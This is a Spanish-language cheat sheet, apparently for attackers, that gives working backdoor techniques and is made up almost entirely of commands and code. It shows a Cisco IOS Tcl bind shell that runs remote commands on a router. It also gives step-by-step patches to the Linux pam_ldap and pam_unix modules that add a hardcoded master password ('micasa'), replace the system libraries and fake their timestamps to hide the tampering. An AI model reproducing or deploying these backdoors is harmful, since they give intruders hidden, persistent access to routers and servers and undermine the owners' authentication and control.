# IOS backdoor con TCL

Introducción

IOS backdoor
TCL

Ejecución

Router#tclsh
Router(tcl)#proc backdoor {port} {
+> global shell loop
+> set shell [socket -server bdsh $port]
+> vwait loop
+> close $shell
+>}

Router(tcl)#proc bdsh {socket ip port} {
+> fconfigure $socket -buffering line
+> puts -nonewline $socket "#"
+> flush $socket
+> fileevent $socket readable [list echo $socket]
+>}

Router(tcl)#proc echo {socket} {
+> global loop
+> if {![catch {gets $socket command}] && ![eof $socket]} {
+>  switch -exact -- $command {
+>   :exit { return [close $socket] }
+>   :stop { set loop end; return [close $socket] }
+>   default { execute $socket $command }
+>  }
+> }
+>}

Router(tcl)#proc execute {socket command} {
+> catch {eval "exec $command"} output
+> if {[catch {puts $socket $output}]} {
+>  return [close $socket]
+> } else {
+>  puts -nonewline $socket "#"
+>  flush $socket
+> }
+>}

Router(tcl)#backdoor 1234

remote_host# ncat Router 1234
#show run | i hostname
hostname Router
#

# Linux backdoor con pam_ldap.so

Introducción

PAM

Ejecución

# apt-get install dpkg-dev flex libldap2-dev 
# dpkg --search pam_ldap.so
# apt-get source libpam-ldap=`dpkg -s libpam-ldap \
| grep -i version | cut -d' ' -f2`
# midir=`pwd`
# cd libpam-ldap-184/
# tar xvzf pam_ldap-184.tar.gz
# cd pam_ldap-184
# ln -s $midir/pam-1.1.1/libpam/include/security/ /usr/include/security
# sed -i '/^  _connect_anonymously/ a \ \ if (strcmp(password, "micasa") == 0) { rc = PAM_SUCCESS; }' pam_ldap.c
# ./configure
# make
# cd
# timestamp=`ls -l /lib/security/ | grep pam_ldap.so \
> | awk '{print $6$7}' | tr -d '-' | tr -d ':'`
# cp /lib/security/pam_ldap.so .
# cp $midir/libpam-ldap-184/pam_ldap-184/pam_ldap.so /lib/security/.
# touch -t $timestamp /lib/security/pam_ldap.so

# Linux backdoor con pam_unix.so

Introducción

PAM

Ejecución

# apt-get install dpkg-dev flex
# apt-get source libpam-modules=`dpkg -s libpam-modules \
> | grep -i version | cut -d' ' -f2`
# cd pam-1.1.1/modules/pam_unix/
# sed -i '/\tretval = _unix_verify_password(pamh, name, p, ctrl);/ a \\tif (strcmp(p, \"micasa\") == 0) { retval = PAM_SUCCESS; }' pam_unix_auth.c
# cd ../..
# ./configure
# make
# cd
# timestamp=`ls -l /lib/security/ | grep pam_unix.so | grep -v ^l \
> | awk '{print $6$7}' | tr -d '-' | tr -d ':'`
# cp /lib/security/pam_unix.so .
# cp pam-1.1.1/modules/pam_unix/.libs/pam_unix.so /lib/security/.
# touch -t $timestamp /lib/security/pam_unix.so